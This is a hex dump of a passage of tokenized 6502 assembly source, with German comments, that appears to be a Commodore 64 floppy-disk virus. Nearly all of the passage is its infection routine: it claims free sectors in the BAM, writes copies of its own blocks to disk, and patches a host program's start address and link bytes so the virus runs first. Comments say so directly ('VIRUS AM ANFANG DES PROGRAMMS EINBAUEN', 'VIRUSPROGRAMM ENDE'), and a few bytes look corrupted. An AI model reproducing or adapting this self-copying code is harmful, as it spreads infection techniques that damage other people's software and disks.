00002130: 41 20 B8 45 20 20 20 20 20 3B 50 4C 41 54 5A 20 |A .E ;PLATZ |
00002140: 42 45 4C 45 47 45 4E 00 68 29 CA 1C 4A 53 52 20 |BELEGEN.h)..JSR |
00002150: 42 48 50 20 20 20 20 20 20 3B 4C 45 53 45 20 42 |BHP ;LESE B|
00002160: 41 4D AB 54 52 41 43 4B 00 74 29 D4 1C 53 54 41 |AM.TRACK.t)..STA|
00002170: 20 42 41 4D 00 80 29 DE 1C 4A 53 52 20 42 48 50 | BAM..)..JSR BHP|
00002180: 00 8E 29 E8 1C 53 54 41 20 42 41 4D AA 31 00 9A |..)..STA BAM.1..|
00002190: 29 F2 1C 4A 53 52 20 42 48 50 00 A8 29 FC 1C 53 |)..JSR BHP..)..S|
000021A0: 54 41 20 42 41 4D AA 32 00 B9 29 06 1D 4A 53 52 |TA BAM.2..)..JSR|
000021B0: 20 47 41 52 46 49 45 4C 44 00 DD 29 10 1D 4C 44 | GARFIELD..)..LD|
000021C0: 59 20 23 42 4C 4F 43 4B 53 20 20 3B 53 55 43 48 |Y #BLOCKS ;SUCH|
000021D0: 45 20 B8 49 45 20 53 45 43 A4 52 45 4E 00 EA 29 |E .IE SEC.REN..)|
000021E0: 1A 1D 4C 44 58 20 23 24 46 46 00 F8 29 24 1D 4A |..LDX #$FF..)$.J|
000021F0: 55 4D 50 35 20 50 48 50 00 00 2A 2E 1D 49 4E 58 |UMP5 PHP..*..INX|
00002200: 00 0C 2A 38 1D 43 50 58 20 23 32 35 00 1A 2A 42 |..*8.CPX #25..*B|
00002210: 1D 42 45 51 20 4A 55 4D 50 36 00 22 2A 4C 1D 50 |.BEQ JUMP6."*L.P|
00002220: 4C 50 00 2F 2A 56 1D 52 B0 20 42 41 4D AA 32 00 |LP./*V.R. BAM.2.|
00002230: 3C 2A 60 1D 52 B0 20 42 41 4D AA 31 00 47 2A 6A |<*`.R. BAM.1.G*j|
00002240: 1D 52 B0 20 42 41 4D 00 66 2A 74 1D 42 43 43 20 |.R. BAM.f*t.BCC |
00002250: 4A 55 4D 50 35 20 20 20 20 3B 53 45 43 A4 52 20 |JUMP5 ;SEC.R |
00002260: 42 45 4C 45 47 54 00 71 2A 7E 1D 43 50 59 20 23 |BELEGT.q*~.CPY #|
00002270: 30 00 7F 2A 88 1D 42 45 51 20 4A 55 4D 50 35 00 |0..*..BEQ JUMP5.|
00002280: A0 2A 92 1D 54 58 41 20 20 20 20 20 20 20 20 20 |.*..TXA |
00002290: 20 3B 53 45 43 A4 52 20 47 45 46 55 4E 44 45 4E | ;SEC.R GEFUNDEN|
000022A0: 00 B1 2A 9C 1D 53 54 41 20 56 53 45 43 AB 31 2C |..*..STA VSEC.1,|
000022B0: 59 00 B9 2A A6 1D 44 45 59 00 C1 2A B0 1D 43 4C |Y..*..DEY..*..CL|
000022C0: 43 00 E1 2A BA 1D 42 43 43 20 4A 55 4D 50 35 20 |C..*..BCC JUMP5 |
000022D0: 20 20 20 3B 57 45 49 54 45 52 20 53 55 43 48 45 | ;WEITER SUCHE|
000022E0: 4E 00 EF 2A C4 1D 4A 55 4D 50 36 20 50 4C 50 00 |N..*..JUMP6 PLP.|
000022F0: 0D 2B CE 1D 4C 44 41 20 23 22 57 22 20 20 20 20 |.+..LDA #"W" |
00002300: 20 3B 53 43 48 41 4C 54 45 20 41 55 46 00 2C 2B | ;SCHALTE AUF.,+|
00002310: D8 1D 53 54 41 20 44 4F 20 20 20 20 20 20 20 3B |..STA DO ;|
00002320: 53 43 48 52 45 49 42 4D 4F 44 55 53 00 3B 2B E2 |SCHREIBMODUS.;+.|
00002330: 1D 4C 44 41 20 56 54 52 41 43 4B 00 58 2B EC 1D |.LDA VTRACK.X+..|
00002340: 4A 53 52 20 42 53 45 4C 45 43 54 20 20 3B 42 41 |JSR BSELECT ;BA|
00002350: 4D 20 55 50 44 41 54 45 00 63 2B F6 1D 4C 44 41 |M UPDATE.c+..LDA|
00002360: 20 B8 45 00 70 2B 00 1E 4A 53 52 20 50 41 50 41 | .E.p+..JSR PAPA|
00002370: 00 7C 2B 0A 1E 4C 44 41 20 42 41 4D 00 89 2B 14 |.|+..LDA BAM..+.|
00002380: 1E 4A 53 52 20 50 41 50 41 00 97 2B 1E 1E 4C 44 |.JSR PAPA..+..LD|
00002390: 41 20 42 41 4D AA 31 00 A4 2B 28 1E 4A 53 52 20 |A BAM.1..+(.JSR |
000023A0: 50 41 50 41 00 B2 2B 32 1E 4C 44 41 20 42 41 4D |PAPA..+2.LDA BAM|
000023B0: AA 32 00 C1 2B 3C 1E 4A 53 52 20 4F 55 54 55 4E |.2..+<.JSR OUTUN|
000023C0: 4C 00 E4 2B 46 1E 4C 44 58 20 23 34 20 20 20 20 |L..+F.LDX #4 |
000023D0: 20 20 20 3B 53 43 48 52 45 49 42 45 20 42 41 4D | ;SCHREIBE BAM|
000023E0: 20 41 55 46 00 FB 2B 50 1E 4C 44 59 20 23 30 20 | AUF..+P.LDY #0 |
000023F0: 20 20 20 20 20 20 3B 44 49 53 4B 00 06 2C 5A 1E | ;DISK..,Z.|
00002400: 4C 44 41 20 23 31 00 14 2C 64 1E 4A 53 52 20 4D |LDA #1..,d.JSR M|
00002410: 45 4D B0 59 00 39 2C 6E 1E 4C 44 41 20 23 24 39 |EM.Y.9,n.LDA #$9|
00002420: 30 20 20 20 20 20 3B 5F 5F 5F 5F 5F 5F 5F 42 4C |0 ;_______BL|
00002430: 4F 43 4B AB 57 52 49 54 45 00 5A 2C 78 1E 4A 53 |OCK.WRITE.Z,x.JS|
00002440: 52 20 4F 55 54 55 4E 4C 20 20 20 3B 4B 4F 50 49 |R OUTUNL ;KOPI|
00002450: 45 52 45 20 53 54 41 52 54 AB 00 7D 2C 82 1E 4A |ERE START..},..J|
00002460: 53 52 20 41 53 4B 20 20 20 20 20 20 3B 42 4C 4F |SR ASK ;BLO|
00002470: 43 4B 20 4E 41 43 48 20 88 5A 54 45 4E 00 9D 2C |CK NACH .ZTEN..,|
00002480: 8C 1E 4C 44 58 20 50 55 46 46 45 52 20 20 20 3B |..LDX PUFFER ;|
00002490: 47 45 46 55 4E 44 45 4E 20 B8 49 45 4E 00 B5 2C |GEFUNDEN .IEN..,|
000024A0: 96 1E 4C 44 59 20 23 30 20 20 20 20 20 20 20 3B |..LDY #0 ;|
000024B0: 42 4C 4F 43 4B 00 C0 2C A0 1E 4C 44 01 20 23 32 |BLOCK..,..LD. #2|
000024C0: 00 CE 2C AA 1E 4A 53 52 20 4D 45 4D B0 59 00 EF |..,..JSR MEM.Y..|
000024D0: 2C B4 1E 4C 44 41 20 54 52 41 43 4B 20 20 20 20 |,..LDA TRACK |
000024E0: 3B 4C 45 53 45 20 42 4C 4F 43 4B 20 45 49 4E 00 |;LESE BLOCK EIN.|
000024F0: FC 2C BE 1E 4A 53 52 20 50 41 50 41 00 0A 2D C8 |.,..JSR PAPA..-.|
00002500: 1E 4C 44 41 20 53 45 43 A4 52 00 19 2D D2 1E 4A |.LDA SEC.R..-..J|
00002510: 53 52 20 4F 55 54 55 4E 4C 00 25 2D DC 1E 4C 44 |SR OUTUNL.%-..LD|
00002520: 58 20 4A 4F 42 00 30 2D E6 1E 4C 44 59 20 23 30 |X JOB.0-..LDY #0|
00002530: 00 3B 2D F0 1E 4C 44 41 20 23 31 00 49 2D FA 1E |.;-..LDA #1.I-..|
00002540: 4A 53 52 20 4D 45 4D B0 59 00 6A 2D 04 1F 4C 44 |JSR MEM.Y.j-..LD|
00002550: 41 20 23 24 38 30 20 20 20 20 20 3B 5F 5F 5F 5F |A #$80 ;____|
00002560: 5F 5F 5F 42 4C 4F 43 4B AB 87 00 79 2D 0E 1F 4A |___BLOCK...y-..J|
00002570: 53 52 20 4F 55 54 55 4E 4C 00 85 2D 18 1F 4A 53 |SR OUTUNL..-..JS|
00002580: 52 20 41 53 4B 00 94 2D 22 1F 4C 44 58 20 50 55 |R ASK..-".LDX PU|
00002590: 46 46 45 52 00 9F 2D 2C 1F 4C 44 59 20 23 30 00 |FFER..-,.LDY #0.|
000025A0: AA 2D 36 1F 4C 44 41 20 23 32 00 CD 2D 40 1F 4A |.-6.LDA #2..-@.J|
000025B0: 53 52 20 4D 45 4D B0 59 20 20 20 3B 53 43 48 52 |SR MEM.Y ;SCHR|
000025C0: 45 49 42 45 20 42 4C 4F 43 4B 20 41 4E 00 EB 2D |EIBE BLOCK AN..-|
000025D0: 4A 1F 4C 44 41 20 56 54 52 41 43 4B 20 20 20 3B |J.LDA VTRACK ;|
000025E0: 4E 45 55 45 20 53 54 45 4C 4C 45 00 F8 2D 54 1F |NEUE STELLE..-T.|
000025F0: 4A 53 52 20 50 41 50 41 00 0E 2E 5E 1F 4C 44 41 |JSR PAPA...^.LDA|
00002600: 20 56 53 45 43 AA 42 4C 4F 43 4B 53 AB 31 00 1D | VSEC.BLOCKS.1..|
00002610: 2E 68 1F 4A 53 52 20 4F 55 54 55 4E 4C 00 29 2E |.h.JSR OUTUNL.).|
00002620: 72 1F 4C 44 58 20 4A 4F 42 00 34 2E 7C 1F 4C 44 |r.LDX JOB.4.|.LD|
00002630: 59 20 23 30 00 3F 2E 86 1F 4C 44 41 20 23 31 00 |Y #0.?...LDA #1.|
00002640: 4D 2E 90 1F 4A 53 52 20 4D 45 4D B0 59 00 72 2E |M...JSR MEM.Y.r.|
00002650: 9A 1F 4C 44 41 20 23 24 39 30 20 20 20 20 20 3B |..LDA #$90 ;|
00002660: 5F 5F 5F 5F 5F 5F 5F 42 4C 4F 43 4B AB 57 52 49 |_______BLOCK.WRI|
00002670: 54 45 00 81 2E A4 1F 4A 53 52 20 4F 55 54 55 4E |TE.....JSR OUTUN|
00002680: 4C 00 8D 2E AE 1F 4A 53 52 20 41 53 4B 00 B3 2E |L.....JSR ASK...|
00002690: B8 1F 4C 44 58 20 23 30 20 20 20 20 20 20 20 3B |..LDX #0 ;|
000026A0: 56 49 52 55 53 20 41 4D 20 41 4E 46 41 4E 47 20 |VIRUS AM ANFANG |
000026B0: 44 45 53 00 D8 2E C2 1F 53 54 58 20 43 4F 55 4E |DES.....STX COUN|
000026C0: 54 20 20 20 20 3B 50 52 4F 47 52 41 4D 4D 53 20 |T ;PROGRAMMS |
000026D0: 45 49 4E 42 41 55 45 4E 00 EA 2E CC 1F 4C 44 41 |EINBAUEN.....LDA|
000026E0: 20 23 B3 53 54 41 52 54 AB 34 00 F4 2E D6 1F 53 | #.START.4.....S|
000026F0: 54 41 20 58 00 06 2F E0 1F 4C 44 41 20 23 B1 53 |TA X../..LDA #.S|
00002700: 54 41 52 54 AB 34 00 10 2F EA 1F 53 54 41 20 59 |TART.4../..STA Y|
00002710: 00 1B 2F F4 1F 4C 44 41 20 23 30 00 25 2F FE 1F |../..LDA #0.%/..|
00002720: 53 54 41 20 5A 00 35 2F 08 20 4A 55 4D 50 38 20 |STA Z.5/. JUMP8 |
00002730: 4C 44 58 20 5A 00 41 2F 12 20 4C 44 59 20 41 44 |LDX Z.A/. LDY AD|
00002740: 52 00 66 2F 1C 20 4C 44 41 20 23 33 32 20 20 20 |R.f/. LDA #32 |
00002750: 20 20 20 3B 33 32 20 42 59 54 45 53 20 49 4E 20 | ;32 BYTES IN |
00002760: 50 55 46 46 45 52 00 81 2F 26 20 4A 53 52 20 4D |PUFFER../& JSR M|
00002770: 45 4D B0 59 20 20 20 3B 53 43 48 52 45 49 42 45 |EM.Y ;SCHREIBE|
00002780: 4E 00 91 2F 30 20 4A 55 4D 50 37 20 4C 44 59 20 |N../0 JUMP7 LDY |
00002790: 5A 00 9F 2F 3A 20 4C 44 41 20 28 58 29 2C 59 00 |Z../: LDA (X),Y.|
000027A0: AC 2F 44 20 4A 53 52 20 50 41 50 41 00 B6 2F 4E |./D JSR PAPA../N|
000027B0: 20 49 4E 43 20 5A 00 C0 2F 58 20 4C 44 41 20 5A | INC Z../X LDA Z|
000027C0: 00 CE 2F 62 20 AF 20 23 25 31 31 31 31 31 00 DC |../b . #%11111..|
000027D0: 2F 6C 20 42 4E 45 20 4A 55 4D 50 37 00 ED 2F 76 |/l BNE JUMP7../v|
000027E0: 20 4A 53 52 20 47 41 52 46 49 45 4C 44 00 11 30 | JSR GARFIELD..0|
000027F0: 80 20 4C 44 41 20 5A 20 20 20 20 20 20 20 20 3B |. LDA Z ;|
00002800: 4B 4F 4D 50 88 54 45 52 20 42 4C 4F 43 4B 20 49 |KOMP.TER BLOCK I|
00002810: 4E 00 38 30 8A 20 42 4E 45 20 4A 55 4D 50 38 20 |N.80. BNE JUMP8 |
00002820: 20 20 20 3B 50 55 46 46 45 52 20 47 45 53 43 48 | ;PUFFER GESCH|
00002830: 52 49 45 42 45 4E 2E 2E 00 46 30 94 20 4C 44 59 |RIEBEN...F0. LDY|
00002840: 20 43 4F 55 4E 54 00 55 30 9E 20 42 4E 45 20 4A | COUNT.U0. BNE J|
00002850: 55 4D 50 31 37 00 7B 30 A8 20 4C 44 58 20 23 32 |UMP17.{0. LDX #2|
00002860: 20 20 20 20 20 20 20 3B 4B B0 52 49 47 49 45 52 | ;K.RIGIER|
00002870: 45 20 53 54 41 52 54 41 44 52 2E 00 9D 30 B2 20 |E STARTADR...0. |
00002880: 4C 44 59 20 41 44 52 20 20 20 20 20 20 3B 49 4D |LDY ADR ;IM|
00002890: 20 45 52 53 54 45 4E 20 42 4C 4F 43 4B 00 A8 30 | ERSTEN BLOCK..0|
000028A0: BC 20 4C 44 41 20 23 32 00 B6 30 C6 20 4A 53 52 |. LDA #2..0. JSR|
000028B0: 20 4D 45 4D B0 59 00 C5 30 D0 20 4C 44 41 20 42 | MEM.Y..0. LDA B|
000028C0: 41 53 49 43 53 00 D2 30 DA 20 4A 53 52 20 50 41 |ASICS..0. JSR PA|
000028D0: 50 41 00 E3 30 E4 20 4C 44 41 20 42 41 53 49 43 |PA..0. LDA BASIC|
000028E0: 53 AA 31 00 F2 30 EE 20 4A 53 52 20 4F 55 54 55 |S.1..0. JSR OUTU|
000028F0: 4E 4C 00 04 31 F8 20 4A 55 4D 50 31 37 20 4C 44 |NL..1. JUMP17 LD|
00002900: 58 20 23 30 00 10 31 02 21 4C 44 59 20 41 44 52 |X #0..1.!LDY ADR|
00002910: 00 2C 31 0C 21 4C 44 41 20 23 32 20 20 20 20 20 |.,1.!LDA #2 |
00002920: 20 20 3B 4C 49 4E 4B 42 59 54 45 53 00 48 31 16 | ;LINKBYTES.H1.|
00002930: 21 4A 53 52 20 4D 45 4D B0 59 20 20 20 3B 4B B0 |!JSR MEM.Y ;K.|
00002940: 52 49 47 49 45 52 45 4E 00 57 31 20 21 4C 44 41 |RIGIEREN.W1 !LDA|
00002950: 20 56 54 52 41 43 4B 00 64 31 2A 21 4A 53 52 20 | VTRACK.d1*!JSR |
00002960: 50 41 50 41 00 72 31 34 21 4C 44 59 20 43 4F 55 |PAPA.r14!LDY COU|
00002970: 4E 54 00 81 31 3E 21 4C 44 41 20 56 53 45 43 2C |NT..1>!LDA VSEC,|
00002980: 59 00 90 31 48 21 4A 53 52 20 4F 55 54 55 4E 4C |Y..1H!JSR OUTUNL|
00002990: 00 B1 31 52 21 4C 44 58 20 50 55 46 46 45 52 20 |..1R!LDX PUFFER |
000029A0: 20 20 3B 42 4C 4F 43 4B 20 41 55 46 20 44 49 53 | ;BLOCK AUF DIS|
000029B0: 4B 00 CD 31 5C 21 4C 44 59 20 23 30 20 20 20 20 |K..1\!LDY #0 |
000029C0: 20 20 20 3B 53 43 48 52 45 49 42 45 4E 00 D8 31 | ;SCHREIBEN..1|
000029D0: 66 21 4C 44 41 20 23 32 00 E6 31 70 21 4A 53 52 |f!LDA #2..1p!JSR|
000029E0: 20 4D 45 4D B0 59 00 F4 31 7A 21 4C 44 59 20 43 | MEM.Y..1z!LDY C|
000029F0: 4F 55 4E 54 00 03 32 84 21 42 4E 45 20 4A 55 4D |OUNT..2.!BNE JUM|
00002A00: 50 31 31 00 11 32 8E 21 4C 44 41 20 54 52 41 43 |P11..2.!LDA TRAC|
00002A10: 4B 00 1F 32 98 21 2E 42 59 54 45 20 24 32 43 00 |K..2.!.BYTE $2C.|
00002A20: 35 32 A2 21 4A 55 4D 50 31 31 20 4C 44 41 20 56 |52.!JUMP11 LDA V|
00002A30: 54 52 41 43 4B 00 42 32 AC 21 4A 53 52 20 50 41 |TRACK.B2.!JSR PA|
00002A40: 50 41 00 50 32 B6 21 4C 44 59 20 43 4F 55 4E 54 |PA.P2.!LDY COUNT|
00002A50: 00 60 32 C0 21 4C 44 41 20 53 45 43 A4 52 2C 59 |.`2.!LDA SEC.R,Y|
00002A60: 00 6F 32 CA 21 4A 53 52 20 4F 55 54 55 4E 4C 00 |.o2.!JSR OUTUNL.|
00002A70: 7B 32 D4 21 4C 44 58 20 4A 4F 42 00 86 32 DE 21 |{2.!LDX JOB..2.!|
00002A80: 4C 44 59 20 23 30 00 91 32 E8 21 4C 44 41 20 23 |LDY #0..2.!LDA #|
00002A90: 31 00 9F 32 F2 21 4A 53 52 20 4D 45 4D B0 59 00 |1..2.!JSR MEM.Y.|
00002AA0: C4 32 FC 21 4C 44 41 20 23 24 39 30 20 20 20 20 |.2.!LDA #$90 |
00002AB0: 20 3B 5F 5F 5F 5F 5F 5F 5F 42 4C 4F 43 4B AB 57 | ;_______BLOCK.W|
00002AC0: 52 49 54 45 00 D3 32 06 22 4A 53 52 20 4F 55 54 |RITE..2."JSR OUT|
00002AD0: 55 4E 4C 00 DF 32 10 22 4A 53 52 20 41 53 4B 00 |UNL..2."JSR ASK.|
00002AE0: E7 32 1A 22 43 4C 43 00 F1 32 24 22 4C 44 41 20 |.2."CLC..2$"LDA |
00002AF0: 58 00 FE 32 2E 22 41 44 43 20 23 32 35 34 00 08 |X..2."ADC #254..|
00002B00: 33 38 22 53 54 41 20 58 00 12 33 42 22 4C 44 41 |38"STA X..3B"LDA|
00002B10: 20 59 00 1D 33 4C 22 41 44 43 20 23 30 00 27 33 | Y..3L"ADC #0.'3|
00002B20: 56 22 53 54 41 20 59 00 4C 33 60 22 49 4E 43 20 |V"STA Y.L3`"INC |
00002B30: 43 4F 55 4E 54 20 20 20 20 3B 46 41 4C 4C 53 20 |COUNT ;FALLS |
00002B40: 4E 4F 43 48 20 42 4C 4F 45 43 4B 45 00 73 33 6A |NOCH BLOECKE.s3j|
00002B50: 22 4C 44 58 20 43 4F 55 4E 54 20 20 20 20 3B 5A |"LDX COUNT ;Z|
00002B60: 55 20 53 43 48 52 45 49 42 45 4E 2C 20 57 45 49 |U SCHREIBEN, WEI|
00002B70: 54 45 52 00 83 33 74 22 43 50 58 20 23 42 4C 4F |TER..3t"CPX #BLO|
00002B80: 43 4B 53 00 AA 33 7E 22 42 45 51 20 42 59 45 20 |CKS..3~"BEQ BYE |
00002B90: 20 20 20 20 20 3B 48 49 50 50 49 45 21 46 45 52 | ;HIPPIE!FER|
00002BA0: 54 49 47 20 53 41 4E 20 4D 41 00 B8 33 88 22 4A |TIG SAN MA..3."J|
00002BB0: 4D 50 20 4A 55 4D 50 38 00 DA 33 28 23 3B 57 49 |MP JUMP8..3(#;WI|
00002BC0: 52 44 20 45 49 4E 20 56 49 52 55 53 20 B8 49 47 |RD EIN VIRUS .IG|
00002BD0: 45 4C 41 53 53 45 4E 2E 2E 2E 00 EB 33 2A 26 42 |ELASSEN.....3*&B|
00002BE0: 59 45 20 4C 44 41 20 23 24 36 30 00 F7 33 34 26 |YE LDA #$60..34&|
00002BF0: 53 54 41 20 53 45 4B 00 03 34 3E 26 4A 53 52 20 |STA SEK..4>&JSR |
00002C00: 46 4A 53 00 10 34 48 26 4C 44 41 20 23 24 36 46 |FJS..4H&LDA #$6F|
00002C10: 00 1C 34 52 26 53 54 41 20 53 45 4B 00 27 34 5C |..4R&STA SEK.'4\|
00002C20: 26 4A 53 52 20 53 9B 00 34 34 66 26 4C 44 41 20 |&JSR S..44f&LDA |
00002C30: 23 22 49 22 00 43 34 70 26 4A 53 52 20 4F 55 54 |#"I".C4p&JSR OUT|
00002C40: 55 4E 4C 00 50 34 7A 26 4C 44 58 20 23 24 30 30 |UNL.P4z&LDX #$00|
00002C50: 00 70 34 84 26 4A 55 4D 50 31 34 20 50 4C 41 20 |.p4.&JUMP14 PLA |
00002C60: 20 20 3B 53 50 45 49 43 48 45 52 53 54 45 4C C3 | ;SPEICHERSTEL.|
00002C70: 00 8F 34 8E 26 53 54 41 20 4D 45 4D 2C 58 20 20 |..4.&STA MEM,X |
00002C80: 20 20 3B 52 45 53 54 41 55 52 49 45 52 45 4E 00 | ;RESTAURIEREN.|
00002C90: 97 34 98 26 49 4E 58 00 AA 34 A2 26 43 50 58 20 |.4.&INX..4.&CPX |
00002CA0: 23 31 34 AA 42 4C 4F 43 4B 53 00 B9 34 AC 26 42 |#14.BLOCKS..4.&B|
00002CB0: 4E 45 20 4A 55 4D 50 31 34 00 C6 34 B6 26 4C 44 |NE JUMP14..4.&LD|
00002CC0: 58 20 23 24 30 30 00 D5 34 C0 26 4A 55 4D 50 31 |X #$00..4.&JUMP1|
00002CD0: 35 20 50 4C 41 00 E3 34 CA 26 53 54 41 20 50 41 |5 PLA..4.&STA PA|
00002CE0: 52 2C 58 00 EB 34 D4 26 49 4E 58 00 F8 34 DE 26 |R,X..4.&INX..4.&|
00002CF0: 43 50 58 20 23 24 30 36 00 07 35 E8 26 42 4E 45 |CPX #$06..5.&BNE|
00002D00: 20 4A 55 4D 50 31 35 00 14 35 ED 26 4A 53 52 20 | JUMP15..5.&JSR |
00002D10: 43 41 4C 4C 00 1C 35 F2 26 50 4C 41 00 2B 35 FC |CALL..5.&PLA.+5.|
00002D20: 26 53 54 41 20 53 54 41 54 55 53 00 4E 35 06 27 |&STA STATUS.N5.'|
00002D30: 52 54 53 20 20 20 20 20 20 20 20 20 20 3B 56 49 |RTS ;VI|
00002D40: 52 55 53 50 52 4F 47 52 41 4D 4D 20 80 45 00 6A |RUSPROGRAMM .E.j|
00002D50: 35 10 27 3B AB AB AB AB AB 49 45 43 4F 55 54 AA |5.';.....IECOUT.|
00002D60: 55 4E 9B AB AB AB AB AB AB B1 00 7E 35 1A 27 4F |UN.........~5.'O|
00002D70: 55 54 55 4E 4C 20 4A 53 52 20 50 41 50 41 00 8F |UTUNL JSR PAPA..|
00002D80: 35 24 27 4A 4D 50 20 47 41 52 46 49 45 4C 44 00 |5$'JMP GARFIELD.|
00002D90: AE 35 F8 2A 3B AB AB AB AB AB AB 42 53 45 4C 45 |.5.*;......BSELE|
00002DA0: 43 54 AB AB AB AB AB AB AB AB AB AB AB B1 00 D0 |CT..............|
00002DB0: 35 02 2B 42 53 45 4C 45 43 54 20 41 53 4C 20 3B |5.+BSELECT ASL ;|
00002DC0: 53 45 4C 45 4B 54 49 45 52 54 20 45 49 4E 45 4E |SELEKTIERT EINEN|
00002DD0: 00 EF 35 0C 2B 41 53 4C 20 20 20 20 20 20 20 20 |..5.+ASL |
00002DE0: 20 3B 54 52 41 43 4B 20 44 45 52 20 42 41 4D 00 | ;TRACK DER BAM.|
00002DF0: F7 35 16 2B 54 41 58 00 02 36 20 2B 4C 44 59 20 |.5.+TAX..6 +LDY |
00002E00: 23 37 00 0D 36 2A 2B 4C 44 41 20 23 34 00 1B 36 |#7..6*+LDA #4..6|
00002E10: 34 2B 4A 4D 50 20 4D 45 4D B0 59 00 3A 36 E0 2E |4+JMP MEM.Y.:6..|
00002E20: 3B AB AB AB AB AB AB 53 54 41 4C 4B AB AB AB AB |;......STALK....|
00002E30: AB AB AB AB AB AB AB AB AB B1 00 4C 36 EA 2E 53 |...........L6..S|
00002E40: 54 41 4C 4B 20 4C 44 41 20 44 45 56 00 5B 36 F4 |TALK LDA DEV.[6.|
00002E50: 2E 4A 53 52 20 53 41 53 4B 49 41 00 80 36 FE 2E |.JSR SASKIA..6..|
00002E60: 4C 44 41 20 53 45 4B 20 20 20 20 20 3B 50 52 49 |LDA SEK ;PRI|
00002E70: 4D 41 45 52 AB 26 53 45 4B 55 4E 44 41 45 52 AB |MAER.&SEKUNDAER.|
00002E80: 00 9F 36 08 2F 4A 4D 50 20 43 48 52 49 53 54 49 |..6./JMP CHRISTI|
00002E90: 4E 45 3B 41 44 52 45 53 53 45 20 54 41 4C 4B 00 |NE;ADRESSE TALK.|
00002EA0: BB 36 C8 32 3B AB AB AB AB AB AB 53 9B AB AB AB |.6.2;......S....|
00002EB0: AB AB AB AB AB AB AB AB AB AB B1 00 CA 36 D2 32 |.............6.2|
00002EC0: 53 9B 20 4C 44 41 20 44 45 56 00 D7 36 DC 32 4A |S. LDA DEV..6.2J|
00002ED0: 53 52 20 4E 45 4D 4F 00 FC 36 E6 32 4C 44 41 20 |SR NEMO..6.2LDA |
00002EE0: 53 45 4B 20 20 20 20 20 3B 50 52 49 4D 41 45 52 |SEK ;PRIMAER|
00002EF0: AB 26 53 45 4B 55 4E 44 41 45 52 AB 00 19 37 F0 |.&SEKUNDAER...7.|
00002F00: 32 4A 4D 50 20 54 48 4F 4D 41 53 20 20 3B 41 44 |2JMP THOMAS ;AD|
00002F10: 52 45 53 53 45 20 9B 45 4E 00 38 37 B0 36 3B AB |RESSE .EN.87.6;.|
00002F20: AB AB AB AB AB 41 53 4B AB AB AB AB AB AB AB AB |.....ASK........|
00002F30: AB AB AB AB AB AB AB B1 00 58 37 BA 36 41 53 4B |.........X7.6ASK|
00002F40: 20 4C 44 41 20 23 22 52 22 3B 55 45 42 45 52 50 | LDA #"R";UEBERP|
00002F50: 52 55 45 46 45 20 4F 42 00 75 37 C4 36 53 54 41 |RUEFE OB.u7.6STA|
00002F60: 20 44 4F 20 20 20 20 20 20 3B 4A 4F 42 20 41 4E | DO ;JOB AN|
00002F70: 20 44 49 53 4B 00 97 37 CE 36 41 31 20 4C 44 58 | DISK..7.6A1 LDX|
00002F80: 20 23 30 20 20 20 3B 53 43 48 91 20 41 55 53 47 | #0 ;SCH. AUSG|
00002F90: 45 46 55 05 48 52 54 00 AC 37 D8 36 41 32 20 4E |EFU.HRT..7.6A2 N|
00002FA0: 4F 50 20 20 20 20 20 20 3B 49 53 54 00 B4 37 E2 |OP ;IST..7.|
00002FB0: 36 4E 4F 50 00 BC 37 EC 36 4E 4F 50 00 C4 37 F6 |6NOP..7.6NOP..7.|
00002FC0: 36 4E 4F 50 00 CC 37 00 37 49 4E 58 00 D7 37 0A |6NOP..7.7INX..7.|
00002FD0: 37 42 4E 45 20 41 32 00 E3 37 14 37 4C 44 58 20 |7BNE A2..7.7LDX |
00002FE0: 4A 4F 42 00 EE 37 1E 37 4C 44 59 20 23 30 00 F9 |JOB..7.7LDY #0..|
00002FF0: 37 28 37 4C 44 41 20 23 31 00 07 38 32 37 4A 53 |7(7LDA #1..827JS|
00003000: 52 20 4D 45 4D B0 59 00 18 38 3C 37 4A 53 52 20 |R MEM.Y..8<7JSR |
00003010: 47 41 52 46 49 45 4C 44 00 26 38 46 37 4A 53 52 |GARFIELD.&8F7JSR|
00003020: 20 53 54 41 4C 4B 00 32 38 50 37 4A 53 52 20 42 | STALK.28P7JSR B|
00003030: 48 50 00 3A 38 5A 37 50 48 41 00 48 38 64 37 4A |HP.:8Z7PHA.H8d7J|
00003040: 53 52 20 53 55 48 41 4C 00 50 38 6E 37 50 4C 41 |SR SUHAL.P8n7PLA|
00003050: 00 5B 38 78 37 AF 20 23 24 38 30 00 7F 38 82 37 |.[8x7. #$80..8.7|
00003060: 42 4E 45 20 41 31 20 20 20 20 20 20 3B 4E 45 49 |BNE A1 ;NEI|
00003070: 4E 2C 20 44 41 4E 4E 20 4E 4F 43 48 4D 41 4C 00 |N, DANN NOCHMAL.|
00003080: 8C 38 8C 37 4C 44 41 20 23 22 57 22 00 97 38 96 |.8.7LDA #"W"..8.|
00003090: 37 53 54 41 20 44 4F 00 9F 38 A0 37 52 54 53 00 |7STA DO..8.7RTS.|
000030A0: BD 38 98 3A 3B AB AB AB AB AB AB 4D 45 4D B0 59 |.8.:;......MEM.Y|
000030B0: AB 41 4B 4B 55 AB AB AB AB AB AB AB B1 00 D3 38 |.AKKU..........8|
000030C0: A2 3A 4D 45 4D B0 59 20 50 48 41 20 20 3B 22 4D |.:MEM.Y PHA ;"M|
000030D0: 2D 22 AA 00 F7 38 AC 3A 54 59 41 20 20 20 20 20 |-"...8.:TYA |
000030E0: 20 20 20 20 3B 53 50 45 49 43 48 45 52 53 54 45 | ;SPEICHERSTE|
000030F0: 4C 4C 45 20 44 4F AA 00 0B 39 B6 3A 50 48 41 20 |LLE DO...9.:PHA |
00003100: 20 20 20 20 20 20 20 20 3B 58 AA 00 1F 39 C0 3A | ;X...9.:|
00003110: 54 58 41 20 20 20 20 20 20 20 20 20 3B 59 AA 00 |TXA ;Y..|
00003120: 32 39 CA 3A 50 48 41 20 20 20 20 20 20 20 20 20 |29.:PHA |
00003130: 3B 41 00 4F 39 D4 3A 4A 53 52 20 53 9B 20 20 20 |;A.O9.:JSR S. |
00003140: 3B 41 4E 20 46 4C 4F 50 50 59 20 53 80 45 4E 00 |;AN FLOPPY S.EN.|
00003150: 5C 39 DE 3A 4C 44 41 20 23 22 4D 22 00 69 39 E8 |\9.:LDA #"M".i9.|
00003160: 3A 4A 53 52 20 50 41 50 41 00 76 39 F2 3A 4C 44 |:JSR PAPA.v9.:LD|
00003170: 01 20 23 22 2D 22 00 83 39 FC 3A 4A 53 52 20 50 |. #"-"..9.:JSR P|
00003180: 41 50 41 00 8E 39 06 3B 4C 44 41 20 44 4F 00 9B |APA..9.;LDA DO..|
00003190: 39 10 3B 4A 53 52 20 50 41 50 41 00 A3 39 1A 3B |9.;JSR PAPA..9.;|
